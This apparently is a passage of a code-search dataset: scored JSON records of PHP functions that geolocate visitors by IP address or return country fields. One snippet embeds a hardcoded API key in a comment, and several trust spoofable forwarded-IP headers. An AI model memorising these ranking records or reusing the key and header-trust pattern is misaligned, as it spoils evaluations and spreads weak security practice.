$ipDetail['country']=$matches[1];\r\n }\r\n else\r\n $ipDetail['country']=\"Unknown\";\r\n */\r\n// $apiKey = \"5dc8dee5bde0f7cbe0f090cf5e3c679856138cabe70e502a7e88859edda95f4f\";\r\n// //$ip = \"77.168.60.74\";\r\n//\r\n// $url = \"http://api.ipinfodb.com/v2/ip_query.php?key=$apiKey&ip=$ipAddr&timezone=false\";\r\n// $result = file_get_contents($url);\r\n// $xml = simplexml_load_string($result);\r\n// if($xml){\r\n// if($xml->CountryName === \"Reserved\") {\r\n// $ipDetail['country']=\"Nepal\";\r\n// $ipDetail['city']=\"Kathmandu\";\r\n// }\r\n// else {\r\n// $ipDetail['country']=$xml->CountryName;\r\n// $ipDetail['city']=$xml->City;\r\n// }\r\n// }\r\n// else {\r\n// $ipDetail['country']='Unknown';\r\n// $ipDetail['city'] = 'Unknown';\r\n// }\r\n //return the array containing city, country and country code\r\n //$ipDetail['country']=\"unknown\";\r\n //$ipDetail['city'] = \"unknown\";\r\n return $ipDetail;\r\n\r\n }", "title": "" }, { "docid": "f71e8774f72c7dd7f8d92ccafc05a896", "score": "0.6080259", "text": "function getGeoIP($ip) {\n\t\t$details = json_decode(file_get_contents(\"http://ipinfo.io/{$ip}\"));\n\t\t\n\t\tif(!empty($details->country)){\n\t\t\t$negara=$details->country;\n\t\t}else{\n\t\t\t$negara=\"\";\n\t\t}\n\t\t\n\t\tif(!empty($details->city)){\n\t\t\t$kota=$details->city;\n\t\t}else{\n\t\t\t$kota=\"\";\n\t\t}\n\t\t\t \n\t\treturn array(\n\t\t\t'negara' => $negara,\n\t\t\t'kota' => $kota,\n\t\t);\n\t}", "title": "" }, { "docid": "99b91ddf3a76a7ccf9f25e79cdd77348", "score": "0.60764813", "text": "function getUserLanguage() {\r\n $idioma =substr($_SERVER[\"HTTP_ACCEPT_LANGUAGE\"],0,2);\r\n return $idioma;\r\n }", "title": "" }, { "docid": "7a13b68ffd63fa8101da3ce54dd576f8", "score": "0.6074872", "text": "public function getLocation() {\n $city = $this->configFactory->get('specbee.sitelocation')->get('city');\n $country = $this->configFactory->get('specbee.sitelocation')->get('country');\n\n if ($city & $country) {\n return $city . ', ' . $country;\n }\n else {\n return '';\n }\n }", "title": "" }, { "docid": "6a703fc4904b87a459978459b0ecb81d", "score": "0.605757", "text": "function LoadVisitorData()\n {\n // Get the path of the plugin\n $this->mPluginDir = dirname(__FILE__) . '/';\n $this->mPluginUrl = '';\n \n // Include MaxMind's API\n /*include( '/home/content/08/10374308/html/lp/wp-content/plugins/visitor-country/geoip.inc');*/\n \n // Get the visitor IP\n $iIp = $_SERVER[ 'REMOTE_ADDR' ];\n if ( !empty( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ) \n { \n // check ip from share internet\n $iIp = $_SERVER[ 'HTTP_CLIENT_IP' ];\n } elseif ( !empty( $_SERVER[ 'HTTP_X_FORWARDED_FOR'] ) )\n {\n // to check ip is pass from proxy\n $iIp = $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];\n }\n $iIpList = explode(\",\", $iIp);\n $this->mIP=$iIpList[0];\n \n // Connect to MaxMind's GeoIP\n $iGeoIP = geoip_open( $this->mPluginDir . 'GeoIP.dat', GEOIP_STANDARD);\n \n // Get the country id\n $iCountryID = geoip_country_id_by_addr( $iGeoIP, $this->mIP );\n \n if ( $iCountryID !== false ) {\n // Lookup country code and name\n $this->mCode = $iGeoIP->GEOIP_COUNTRY_CODES[$iCountryID];\n $this->mName = $iGeoIP->GEOIP_COUNTRY_NAMES[$iCountryID]; \n }\n \n // Close MaxMind's connection\n geoip_close($iGeoIP);\n }", "title": "" }, { "docid": "2c8b583bb84264618d324c19a68a9ebe", "score": "0.6052523", "text": "public function country($ipAddress = 'me')\n {\n return $this->responseFor('country', 'Country', $ipAddress);\n }", "title": "" }, { "docid": "adb3eb638ac2ead2474857ae86ca4961", "score": "0.6051944", "text": "public function getTargetCountry() {\n $shipment = $this->_getCurrentShipment();\n return Mage::helper('synergeticagency_gls/validate')->getTargetCountry($shipment);\n }", "title": "" }, { "docid": "5f989c82ece53860130b70f3f3cc9a0c", "score": "0.6048189", "text": "private function getCoordUser()\n {\n// $array = json_decode($request);\n// return $array->city->name_ru;\n\n\n//\n $client = @$_SERVER['HTTP_CLIENT_IP'];\n $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];\n $remote = @$_SERVER['REMOTE_ADDR'];\n $result = array('country' => '', 'city' => '');\n\n if (filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;\n elseif (filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;\n else $ip = $remote;\n //$ip = '212.154.252.19';\n\n $ip_data = @json_decode(file_get_contents(\"http://www.geoplugin.net/json.gp?ip=\" . $ip));\n if ($ip_data && $ip_data->geoplugin_countryName != null) {\n $result = $ip_data;\n }\n// dd((int)$result->geoplugin_latitude.((int)$result->geoplugin_longitude));\n return (int)$result->geoplugin_latitude . ((int)$result->geoplugin_longitude);\n//\n// $ip = $_SERVER['REMOTE_ADDR'];\n// $details = json_decode(file_get_contents(\"http://ipinfo.io/{$ip}\"));\n// dd($details);\n// $result = explode(',', $details->loc);\n// return (int)$result[0].(int)$result[1];\n }", "title": "" }, { "docid": "15ae0c64555c73e98d74d469ff83e2bd", "score": "0.6030369", "text": "public function getAddressCountry()\n {\n return $this->AddressCountry;\n }", "title": "" }, { "docid": "3146eb91f3de0999706d6ac88a4c33af", "score": "0.602328", "text": "public function getCountry(string $ip): ?array\n {\n return $this->get($ip, 'country');\n }", "title": "" }, { "docid": "f78073cb852d8a7505081262f5c33f7b", "score": "0.60180414", "text": "public function index_fr()\n {\n $location = Location::get( \\Request::ip() );\n\n if (!$location) { $location = 'FR'; } \n else { $location = $location->countryCode; }\n\n return view('checkout_paypal_fr', compact('location'));\n }", "title": "" }, { "docid": "1a708087f1dd388d49c19a5c0ceafda0", "score": "0.6016611", "text": "public static function setCountry()\n {\n\n $frontend_edition_id_cookie = CommonHelpers::getCookie(\\Yii::$app->params['frontend_edition_country_id_cookie']);\n\n if($frontend_edition_id_cookie==NULL)\n {\n $geocoder = new \\Geocoder\\ProviderAggregator();\n $adapter = new \\Ivory\\HttpAdapter\\CurlHttpAdapter();\n\n $chain = new \\Geocoder\\Provider\\Chain([\n new \\Geocoder\\Provider\\FreeGeoIp($adapter),\n new \\Geocoder\\Provider\\HostIp($adapter),\n new \\Geocoder\\Provider\\GeoPlugin($adapter),\n //new \\Geocoder\\Provider\\GoogleMaps($adapter),\n //new \\Geocoder\\Provider\\BingMaps($adapter, '<API_KEY>'),\n ]);\n\n $geocoder->registerProvider($chain);\n\n try\n {\n $Country=new Country;\n //geocode IP, find country and set cookie\n $geocode = $geocoder->geocode($_SERVER['REMOTE_ADDR']);\n //if ip address cannot be geocoded\n if(!empty($geocode))\n $country=\"International\";\n else\n $country=$geocode->first()->getCountry()->getName();\n\n $query=Country::find()->where(['name'=>$country])->one();\n\n if(empty($query))\n {\n $country_id=$Country->always_checked[\"International\"];//if you cannot find anything in database put \"international\" as category\n }\n else\n {\n $country_id=$query->id;\n }\n\n CommonHelpers::createCookie(\\Yii::$app->params['frontend_edition_country_id_cookie'], $country_id, NULL);\n\n\n }\n catch (Exception $e)\n {\n echo $e->getMessage();\n }\n }\n }", "title": "" }, { "docid": "a0262449219c0505de9e87976565e3af", "score": "0.5998534", "text": "public function ipCountryShortcode($attributes = [])\n {\n return $this->ip_country;\n }", "title": "" }, { "docid": "f592d1ceb15abd3991e5937385dc7ba4", "score": "0.59973603", "text": "function get_country_name($country,$sourcelang = 'en',$addnative = true) {\n $country = strtoupper($country);\n if ($sourcelang == false) {\n if (isset($this->regiondata->country_names[$country])) {\n return $this->regiondata->country_names[$country];\n } else {\n return $country;\n }\n } else {\n if ($addnative) $locname = $this->get_country_name($country,false);\n if (isset($this->regiondata->country_names_en[$country])) {\n if ((!empty($locname)) && ($locname != $country) && ($this->langdata->country_names_en[$country] != $locname)) {\n return $this->regiondata->country_names_en[$country].' ('.$locname.')';\n } else {\n return $this->regiondata->country_names_en[$country];\n }\n } else {\n if (isset($locname)) {\n return $locname;\n } else {\n return $country;\n }\n }\n }\n }", "title": "" }, { "docid": "55ba2416d45c0039997441de0a9e8c44", "score": "0.5990505", "text": "public function getCountry()\n {\n return $this->getParameter('billingCountry');\n }", "title": "" }, { "docid": "1b6f2704a5586d9e3c4b28301a0a6d28", "score": "0.5986791", "text": "public function getCountry()\n {\n $value = $this->get(self::COUNTRY);\n return $value === null ? (string)$value : $value;\n }", "title": "" }, { "docid": "dca6145cfe38c694c30206516b19a6ca", "score": "0.59843063", "text": "protected function _getGeoIpState($ip = \"\", $debug = false ) {\n //Verifico se ho in sessione la country\n if ($debug) {\n Mage::Log(\"ip to check $ip\", null, '', true);\n Mage::Log($_SERVER, null, '', true);\n }\n \n if ($ip == \"\" && $_SERVER['REMOTE_ADDR'] != '127.0.0.1') {\n $ip = $_SERVER['REMOTE_ADDR'];\n }\n \n if ($ip != \"\") {\n $ip = \"&ip=$ip\";\n } \n\n $key = Mage::getStoreConfig('autelcorto/store_zone/infodb_key');\n \n if ($key != \"\") {\n try {\n\n $xml = file_get_contents(\"http://api.ipinfodb.com/v3/ip-city/?key=$key&format=xml$ip\");\n \n $xmlLocation = new SimpleXMLElement($xml);\n\n if ($xmlLocation->statusCode == \"OK\") {\n \n return $xmlLocation->countryCode;\n \n }\n \n } catch (Exception $e) {\n Mage::LogException($e);\n return false;\n }\n }\n return false;\n }", "title": "" }, { "docid": "da71094908ebffe3650caf243f1743cb", "score": "0.59765655", "text": "public function getCountryCode()\n {\n if (array_key_exists(\"countryCode\", $this->_propDict)) {\n return $this->_propDict[\"countryCode\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "1ba2b5977739e4868dc6e90dad54c44d", "score": "0.59643936", "text": "public static function getPayLocation()\n\t{\n\t\tglobal $registry;\n\t\t\n\t\tif($registry->me->country == 'VN')\n\t\t\t$location = 'vn';\n\t\telse\n\t\t\t$location = 'other';\n\t\t\n\t\treturn $location;\n\t}", "title": "" }, { "docid": "e9f27e4b0b26db5e207f2ed3ff9a0e22", "score": "0.5963394", "text": "public function get_country_id(){\n\t\treturn (int) $this->v_country_id;\n\t}", "title": "" } ]
45e7b539b3b648a5f01ce8aa5c9f766d
/ $xml == a valid DOMDocument xml object; $did == versioning id of document being mapped; $clean == in order to be sure that we maintain link integrity, default behaviour is to delete all previous linkages stored for this document, and rebuilding.
[ { "docid": "7f18c7b7e142a9c6d351698115296db4", "score": "0.7795434", "text": "function mapDocument($xml,$did,$clean=true)\n\t\t {\n $allA = $xml->getElementsByTagName('a');\n \n if($clean)\n {\n $q = \"DELETE FROM linkrefs WHERE document_id = '$did'\";\n mysql_query($q); \n }\n \n foreach($allA as $el)\n {\n $ref = $el->getAttribute('href'); \n\n /*\n * check if link is an internal file. Ignore others.\n */\n if(strpos($ref,self::M()->publicRootPath)!==false)\n {\n /*\n * strip out the asset path and store the result.\n */\n $ref = str_replace(self::M()->publicRootPath,\"\",$ref);\n \n /*\n * source_id is always a document id...\n */\n $q = \"INSERT INTO linkrefs (document_id,target_file) VALUES ('$did', '\".mysql_real_escape_string($ref).\"')\";\n mysql_query($q);\n }\n }\n\t\t }", "title": "" } ]
[ { "docid": "0d36fad0a4e96d120930ebafe1a09cc5", "score": "0.5414077", "text": "private function cleaning()\n\t{\n\t\t//----------\n\t\t$root = $this->xml->documentElement;\n \t\t$newRoot = $this->xml->createElementNS(CityRDF::RDF_URI, CityRDF::RDF_NODE);\n \t\t//$newRoot = $this->xml->createElement(CityRDF::RDF_NODE);\n \t\t$this->xml->appendChild($newRoot);\n \t\t$newRoot->appendChild($root);\n\n \t\t//$newRoot->setAttribute('xmlns:rdf','http://www.w3.org/1999/02/22-rdf-syntax-ns#');\n \t\t$newRoot->setAttribute('xmlns:failsafe','http://escape.nodes/without/namespaces#');\n \t\t$newRoot->setAttribute('xmlns:core', 'http://www.opengis.net/citygml/1.0');\n \t\t$newRoot->setAttribute('xmlns:protogeometry', 'http://unige.ch/masterThesis/'); //for adding attributes\n \t\t$newRoot->setAttribute('xmlns:ex', 'http://example.org/stuff/1.0/'); //for the one missing namespace in carouge -_-\n\t\n\n\t\t//transform multiple pos into a single posList (old gml doc)\n\t\t//----------\n\t\t$xpath = new DOMXPath($this->xml);\n\t\t$xpath->registerNamespace(\"gml\", \"http://www.opengis.net/gml\");\n\n\t\t$linearRingList = $xpath->query('//gml:LinearRing');\n\t\tforeach ($linearRingList as $ring) {\n\t\t $listOfPos = $xpath->query('gml:pos', $ring);\n\t\t if ($listOfPos->length > 0){\n\t\t \t$posList = $this->xml->createElementNS(\"http://www.opengis.net/gml\", \"gml:posList\");\n\t\t\t foreach ($listOfPos as $pos) {\n\t\t \t\t$posList->nodeValue .= $pos->nodeValue.\" \";\n\t\t \t\t$pos->parentNode->removeChild($pos);\n\t\t\t }\n\t\t\t $ring->appendChild($posList);\n\t\t\t}\n\t\t}\t\t\n\n\t\t//enlever bldg:address\n\t\t//----------\n\t\t$xpath->registerNamespace(\"bldg\", \"http://www.opengis.net/citygml/building/1.0\");\n\t\t$bldAddressList = $xpath->query('//bldg:address');\n\t\tforeach ($bldAddressList as $address) {\n\t\t\t$address->parentNode->removeChild($address);\n\t\t}\n\n\t\t//enlever core:externalReference\n\t\t//----------\n\t\t$xpath->registerNamespace(\"core\", \"http://www.opengis.net/citygml/1.0\");\n\t\t$externalRefList = $xpath->query('//core:externalReference');\n\t\tforeach ($externalRefList as $ref) {\n\t\t\t$ref->parentNode->removeChild($ref);\n\t\t}\t\t\n\n\t\t//verify if no unprefixed attributes\n\t\t//(not necessary for elements, only attributes need to be prefixed)\n\t\t//see commits until 53a427963f23710aae094094851d8bbb48d1c661 for prefixation of elements\n\t\t//----------\n\t\t$allAttributes = $xpath->query('//@*');\n\t\tforeach($allAttributes as $attributeNode) {\n\t\t\tif (!preg_match(\"#^.*:.*$#\", $attributeNode->nodeName)){\n\t\t\t\t//echo $attributeNode->nodeName . \"<br>\"; \n\t\t\t\t$newAttribute = $this->xml->createAttribute(\"failsafe:\" . $attributeNode->nodeName);\n\t\t\t\t$newAttribute->value = $attributeNode->value;\n\n\t\t\t\t$attributeNode->ownerElement->setAttributeNode ($newAttribute);\n\t\t\t\t$attributeNode->ownerElement->removeAttributeNode($attributeNode);\n\t\t\t}\n\t\t}\n\n\t\t//TODO\n\t\t/*\n\t\t//remove all nodes without content & children\n\t\t//----------\n\t\t$allElements = $xpath->query('//*');\n\t\tforeach($allElements as $node) {\n\t\t\t//echo $node->nodeName . \" <br>\";\n\t\t\tif ($node->childNodes->length <= 0){\n\t\t\t\t$node->parentNode->removeChild($node);\n\t\t\t}\n\t\t}\n\t\t*/\n\n\t\t//remove white spaces\n\t\t$this->xml->normalize();\n\n\t\t//debug\n\t\t/*\n\t\techo \"<pre>\";\n\t\techo $this->xml->saveXML();\n\t\techo \"</pre>\";\n\t\t*/\n\t}", "title": "" }, { "docid": "1b7fbcecfb8961c2d215607bc7a34696", "score": "0.4968264", "text": "public function cleanDocument(){\n\t\t\t$this->iterateChildren($this->parser->document);\n\n\t\t\t// If this document was originally a fragment, turn it back into a fragment\n\t\t\t// now that parsing is done.\n\t\t\tif ($this->isFragment){\n\t\t\t\t// Iterate over every line and remove two tab characters\n\t\t\t\t$newCleanHTML = \"\";\n\t\t\t\t$lines = explode(\"\\n\", $this->cleanHTML);\n\t\t\t\tforeach($lines as $lineNumber=>$line){\n\t\t\t\t\t// Dont count the fragment's doctype, <html>, <body>, </body>, or </html>\n\t\t\t\t\tif ($lineNumber > 2 && $lineNumber < count($lines) - 3){\n\t\t\t\t\t\t$newCleanHTML .= substr($line, 2) . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->cleanHTML = $newCleanHTML;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "a8e9c7b7753e61921fc0a71adf95c77a", "score": "0.48132455", "text": "function setXMLfromCVS($result) {\n\t\t$this->debug('<h2>=================== setXMLfromCVS ===================</h2>');\n\n // uri\n if (strtolower($this->map) != 'cursos') {\n $uri = strtolower($this->map).'/'.strtolower($this->region);\n } else {\n $uri = 'cursos';\n }\n\n\n\t\tif ($this->map == 'Gabaritos' || $this->map == 'Resultados' || $this->map == 'Provas') {\n\t\t\t$article_type = 'External Link';\n\t\t} else {\n\t\t\t$article_type = 'Standard Article';\n\t\t}\n\n\n\t\t$xml = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<DirectoryFeed>\n\t<WEBSITE>\n\t\t<WEBSITE_NAME><![CDATA['.$this->siteUmbrellaName.']]></WEBSITE_NAME>\n\t\t<PORTAL_KEY><![CDATA[59600]]></PORTAL_KEY>\n\t\t<URLS>\n\t\t\t<URL><![CDATA['.$this->siteURL.']]></URL>\n\t\t</URLS>\n\t\t<PAGES>'.PHP_EOL;\n foreach($result as $row) {\n\t\t\t$this->debug_array($row);\n\t\t\t//$this->debug(\"<hr />\");\n\t\t\t$old_uri = $this->oldPath . strtolower($this->map) . '_ler.php?id=' . $row['TB_MATERIA_ID'];\n\t\t\tif (strpos($row['META_TITLE'],\" | $this->siteName\") === false) {\n $row['META_TITLE'] .= \" | $this->siteName\";\n }\n\n\n\t\t\t$data_publicacao = date(\"d-M-Y H:i:s\", strtotime($row['DATA_PUBLICACAO']));\n\t\t\t$meta_keyword = trim($row['META_KEYWORD']);\n\n $xml .= \"\\t\\t\\t\".\"<PAGE>\n\t\t\t\t<PAGE_NAME><![CDATA[\".$row['file_name'].\"]]></PAGE_NAME>\n\t\t\t\t<DIRECTORIES>\n\t\t\t\t\t<DIRECTORY\n\t\t\t\t\t\tDIR_DEFAULT_FLAG='N'\n\t\t\t\t\t\tURI_TYPE='Primary'\n\t\t\t\t\t\tURI='/$uri'\n\t\t\t\t\t\tDISPLAY_NAME='\".$this->region.\"' />\n\t\t\t\t</DIRECTORIES>\n\t\t\t\t<ALTERNATE_PAGE_URIS>\n\t\t\t\t\t<URI URI_TYPE='301 Redirect' URI='$old_uri'/>\n\t\t\t\t</ALTERNATE_PAGE_URIS>\".PHP_EOL;\n\n\t\t\t$xml .= \"\\t\\t\\t\\t<ARTICLE Priority='1'>\n\t\t\t\t\t<ARTICLE_TYPE><![CDATA[$article_type]]></ARTICLE_TYPE>\n\t\t\t\t\t<POSTING_DATE><![CDATA[$data_publicacao]]></POSTING_DATE>\".PHP_EOL;\n\t\t\t\t\t//<POSTING_TIME><![CDATA[$posting_time]]></POSTING_TIME>\n\t\t\t$xml .= \"\\t\\t\\t\\t\\t<TITLE><![CDATA[\".$row['title'].\"]]></TITLE>\".PHP_EOL;\n //if ($row['LEADER'] != \"\") {\n $xml .= \"\\t\\t\\t\\t\\t<LEADER><![CDATA[\".$row['LEADER'].\"]]></LEADER>\".PHP_EOL;\n //}\n\t\t\t$xml .= \"\\t\\t\\t\\t\\t<FILE_NAME><![CDATA[\".$row['file_name'].\"]]></FILE_NAME>\n\t\t\t\t\t<META_TITLE><![CDATA[\".$row['META_TITLE'].\"]]></META_TITLE>\n\t\t\t\t\t<META_KEYWORD><![CDATA[\".$meta_keyword.\"]]></META_KEYWORD>\n\t\t\t\t\t<META_DESC><![CDATA[\".$row['META_DESC'].\"]]></META_DESC>\n <SEARCH_ENGINE_META_TAG><![CDATA[INDEX,FOLLOW]]></SEARCH_ENGINE_META_TAG>\".PHP_EOL;\n\n\n\t\t\t$xml .= \"\\t\\t\\t\\t\\t<LINK_TEXT><![CDATA[\".$row['title'].\"]]></LINK_TEXT>\".PHP_EOL;\n\n\t\t\t$xml .= \"\\t\\t\\t\\t\\t<INHERIT_FLAG><![CDATA[Y]]></INHERIT_FLAG>\".PHP_EOL;\n\n\t\t\t$xml .= \"\\t\\t\\t\\t\\t<BODY><![CDATA[\".$row['article_body'].\"]]></BODY>\".PHP_EOL;\n\n /*\t<LINK_TEXT><![CDATA[]]></LINK_TEXT>*/\n\n\t\t\t/*\n\t\t\t\t$xml .= \"<CONTENT_TAGS>\n\t\t\t\t\t\t<TAG>\n\t\t\t\t\t\t\t<TAG_NAME><![CDATA[]]></TAG_NAME>\n\t\t\t\t\t\t\t<CATEGORY><![CDATA[Education]]></CATEGORY>\n\t\t\t\t\t\t</TAG>\n\t\t\t\t\t</CONTENT_TAGS>\".PHP_EOL;\n */\n\n /* --- taxonomy --- */\n\n\t\t\tif ($row['SERVICES'] != \"\") {\n\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t<SERVICES>\".PHP_EOL;\n\t\t\t\t$A_services = explode(\"|\", $row['SERVICES']);\n\t\t\t\tforeach($A_services as $service) {\n\t\t\t\t\tif (strpos($service, \"[\") > -1) {\n\t\t\t\t\t\t$primary = \" PRIMARY='1'\";\n\t\t\t\t\t\t$service = str_replace(\"[\", \"\", $service);\n\t\t\t\t\t\t$service = str_replace(\"]\", \"\", $service);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$primary = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t$service = trim($service);\n\t\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t\\t<SERVICE$primary><![CDATA[$service]]></SERVICE>\".PHP_EOL;\n\t\t\t\t}\n $xml .= \"\\t\\t\\t\\t\\t</SERVICES>\".PHP_EOL;\n }\n\n\t\t\tif (array_key_exists('SUBJECTS', $row) && $row['SUBJECTS'] != \"\") {\n\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t<SUBJECTS>\".PHP_EOL;\n\t\t\t\t$A_subjects = explode(\"|\", $row['SUBJECTS']);\n\t\t\t\tforeach($A_subjects as $subject) {\n\t\t\t\t\tif (strpos($subject, \"[\") > -1) {\n\t\t\t\t\t\t$primary = \" PRIMARY='1'\";\n\t\t\t\t\t\t$subject = str_replace(\"[\", \"\", $subject);\n\t\t\t\t\t\t$subject = str_replace(\"]\", \"\", $subject);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$primary = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t$subject = trim($subject);\n\t\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t\\t<SUBJECT$primary><![CDATA[$subject]]></SUBJECT>\".PHP_EOL;\n\t\t\t\t}\n\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t</SUBJECTS>\".PHP_EOL;\n\t\t\t}\n\n\t\t\tif (array_key_exists('QUALIFICATIONS', $row) && $row['QUALIFICATIONS'] != \"\") {\n\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t<QUALIFICATIONS>\".PHP_EOL;\n\t\t\t\t$A_qualifications = explode(\"|\", $row['QUALIFICATIONS']);\n\t\t\t\tforeach($A_qualifications as $qualification) {\n\t\t\t\t\tif (strpos($qualification, \"[\") > -1) {\n\t\t\t\t\t\t$primary = \" PRIMARY='1'\";\n\t\t\t\t\t\t$qualification = str_replace(\"[\", \"\", $qualification);\n\t\t\t\t\t\t$qualification = str_replace(\"]\", \"\", $qualification);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$primary = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t$qualification = trim($qualification);\n\t\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t\\t<QUALIFICATION$primary>\n <![CDATA[$qualification]]>\n </QUALIFICATION>\".PHP_EOL;\n\t\t\t\t}\n\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t</QUALIFICATIONS>\".PHP_EOL;\n }\n\n $xml .= \"\\t\\t\\t\\t\\t<GEOGRAPHIES>\n\t\t\t\t\t\t<GEO\n\t\t\t\t\t\t\tCOUNTRY='BR'\n STATE='$this->stateInitials'\n\t\t\t\t\t\t\tPRIMARY='1'/>\n\t\t\t\t\t</GEOGRAPHIES>\".PHP_EOL;\n\n if (array_key_exists('CONTENT_TAGS', $row) && $row['CONTENT_TAGS'] != \"\") {\n $contentTag = $row['CONTENT_TAGS'];\n $xml .= \"\\t\\t\\t\\t\\t<CONTENT_TAGS>\n <TAG>\n <TAG_NAME><![CDATA[$contentTag]]></TAG_NAME>\n <CATEGORY><![CDATA[Education]]></CATEGORY>\n </TAG>\n </CONTENT_TAGS>\".PHP_EOL;\n\t\t\t}\n\n\n /* --- photo --- */\n\n $T_photo = array();\n\t\t\t$A_photo = array();\n $T_photo = $this->getPhoto($row['TB_MATERIA_ID']);\n //$T_photo = $this->getPhoto(2558);\n $isPhoto = count($T_photo) > 0 ? true : false;\n\t\t\tif ($isPhoto) {\n\t\t\t\t$this->debug('<h2>isPhoto</h2>');\n\t\t\t\t$A_photo = $T_photo[0];\n\t\t\t\t$alt = $A_photo['LEGENDA'] != '' ? $A_photo['LEGENDA'] : $A_photo['TITULO'];\n\n $xml .= \"\\t\\t\\t\\t\\t<IMAGES>\".PHP_EOL;\n if ($A_photo['FOTO_PEQUENA'] != '') {\n $xml .= \"\\t\\t\\t\\t\\t\\t<IMAGE>\n\t\t\t\t\t\t\t<PATH><![CDATA[\".$A_photo['FOTO_PEQUENA'].\"]]></PATH>\n\t\t\t\t\t\t\t<ALT><![CDATA[$alt]]></ALT>\n\t\t\t\t\t\t\t<IMAGE_TYPE><![CDATA[Thumbnail]]></IMAGE_TYPE>\n\t\t\t\t\t\t\t<IS_REMOTE_IMAGE><![CDATA[N]]></IS_REMOTE_IMAGE>\n\t\t\t\t\t\t</IMAGE>\".PHP_EOL;\n }\n\n if ($A_photo['FOTO_MEDIA'] != '') {\n $xml .= \"\\t\\t\\t\\t\\t<IMAGE>\n\t\t\t\t\t\t\t<PATH><![CDATA[\".$A_photo['FOTO_MEDIA'].\"]]></PATH>\n\t\t\t\t\t\t\t<ALT><![CDATA[$alt]]></ALT>\n\t\t\t\t\t\t\t<IMAGE_TYPE><![CDATA[Feature]]></IMAGE_TYPE>\n\t\t\t\t\t\t\t<IS_REMOTE_IMAGE><![CDATA[N]]></IS_REMOTE_IMAGE>\n\t\t\t\t\t\t</IMAGE>\".PHP_EOL;\n }\n\n if ($A_photo['FOTO_GRANDE'] != '') {\n $xml .= \"\\t\\t\\t\\t\\t\\t<IMAGE>\n\t\t\t\t\t\t\t<PATH><![CDATA[\".$A_photo['FOTO_GRANDE'].\"]]></PATH>\n\t\t\t\t\t\t\t<ALT><![CDATA[$alt]]></ALT>\n\t\t\t\t\t\t\t<IMAGE_TYPE><![CDATA[Portrait]]></IMAGE_TYPE>\n\t\t\t\t\t\t\t<IS_REMOTE_IMAGE><![CDATA[N]]></IS_REMOTE_IMAGE>\n\t\t\t\t\t\t</IMAGE>\".PHP_EOL;\n }\n\t\t\t\t$xml .= \"\\t\\t\\t\\t\\t</IMAGES>\".PHP_EOL;\n }\n\n\t\t\t$xml .= \"\\t\\t\\t\\t</ARTICLE>\n\t\t\t</PAGE>\".PHP_EOL;\n }\n $xml .= \"\\t\\t</PAGES>\n\t</WEBSITE>\n</DirectoryFeed>\";\n\t\treturn $xml;\n\t}", "title": "" }, { "docid": "02986d699803b7114b2f1ae51e0a7175", "score": "0.47856754", "text": "public function getXML($clean = true) {\n\t\t$xml = $this->document->saveXML();\n\t\t\n\t\tif($clean) {\n\t\t\t$this->_clean();\n\t\t}\n\t\t\n\t\treturn $xml;\n\t}", "title": "" }, { "docid": "822fdde6318cc9cd7451920533a2dd16", "score": "0.47722688", "text": "public function updateXMLDocument() {\r\n $this->xml_document = file_get_contents($this->_source_url);\r\n }", "title": "" }, { "docid": "887932ed7c96325664b47e113e1947be", "score": "0.47593775", "text": "public function invalidate()\n\t{\n\t\t// Only invalidate if this tag is valid to prevent infinite loops\n\t\tif (!$this->invalid)\n\t\t{\n\t\t\t$this->invalid = true;\n\t\t\tforeach ($this->cascade as $tag)\n\t\t\t{\n\t\t\t\t$tag->invalidate();\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a067a199333b6ef2faae5e21d22cf2ae", "score": "0.47390205", "text": "public function postRemove()\n {\n $fs = new Filesystem();\n\n $this->setRawDocument(null);\n\n if ($fs->exists($this->getAbsolutePath())) {\n $fs->remove($this->getAbsolutePath());\n }\n $this->cleanFileDirectory();\n }", "title": "" }, { "docid": "b8ec9272005ee46172646bfc2f5bd8eb", "score": "0.47170413", "text": "public function processProblem($problemXmlId) {\n $domxpath = $this->getDOMXPath($problemXmlId);\n $this->currentProblemName = $this->getXPathData($domxpath, $this->problemNameXPath);\n $doctypes = $this->getXPathData($domxpath, $this->problemSubtypeXPath, $this->assignmentdocumentlinkNodes);\n \n if(is_array($doctypes) && count($doctypes) > 0) {\n $problemDocTypeSequence = array();\n foreach($doctypes as $doctype) {\n if(isset($problemDocTypeSequence[$doctype['DocumentType']])) {\n $problemDocTypeSequence[$doctype['DocumentType']]++; \n } else {\n $problemDocTypeSequence[$doctype['DocumentType']] = 1;\n }\n $this->DEBUG_DOCUMENT_ID = $doctype['documentid']; ## DEBUG\n $this->currentDoctype = $doctype['DocumentType'];\n $this->currentSequence = $problemDocTypeSequence[$doctype['DocumentType']];\n $this->processDoctype($doctype['documentid']);\n \n $this->DEBUG_DOCUMENT_ID = ''; ## DEBUG\n $this->currentDoctype = ''; ## UNSET\n $this->currentSequence = ''; ## UNSET\n\n }\n }\n $this->currentProblemName = ''; ## UNSET\n }", "title": "" }, { "docid": "99c0c5aa02a1739b405bbd5ee46e1c30", "score": "0.46915096", "text": "protected function _deleteObject(SimpleXMLElement $xml) {}", "title": "" }, { "docid": "291196e97bd6ef54e8e4a4f59d8168ac", "score": "0.46704134", "text": "public function load_from_domxml($xml , $xmlPost=null)\n\t{\n\t\tglobal $PANC_DEBUG;\n\n $duplicatesRemoval = Array();\n $nameIndex = Array();\n\t\t\n\t\tif( $xml !== null )\n {\n $this->xmlroot = $xml;\n\n foreach 